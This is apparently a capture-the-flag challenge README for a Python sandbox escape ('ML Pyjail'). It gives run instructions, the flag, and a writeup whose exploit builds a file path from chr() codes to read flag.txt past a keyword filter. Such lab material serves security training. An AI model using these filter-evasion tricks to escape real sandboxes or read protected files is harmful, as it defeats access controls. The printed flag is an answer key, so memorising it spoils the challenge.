ML Pyjail

ML Pyjail 1

Warning:

Need to change the flag to fake flag

How to run ?

docker-compose up

Linux

netcat localhost 4444

Windows

ncat.exe localhost 4444

Description

An AI-powered fortress guards a treasure trove of forbidden knowledge. Legends speak of a mystical combination of Machine Learning and Python code, interwoven with an impenetrable pyjail defense mechanism. Your mission, should you accept it, is to breach this formidable barrier and unearth the secrets hidden within. Good luck

Flag Format: PCTF{}

Flag

PCTF{M@chin3_1earning_d0_be_tR@nsformati0na1_1818726356}

Difficulty

2/10 (Very Easy)

Author

sans909 (Sanskar)

Tester

• Txnn3r (Tanner Leventry)

Writeup

a = './Mljail/flag.txt'
s = ""
for c in a:
  s += f"chr({str(ord(c))})+"
print(s[:-1])

Exploit:

print(open(chr(46)+chr(47)+chr(77)+chr(76)+chr(106)+chr(97)+chr(105)+chr(108)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116), 'r').read())

Data Retrieved From

• https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes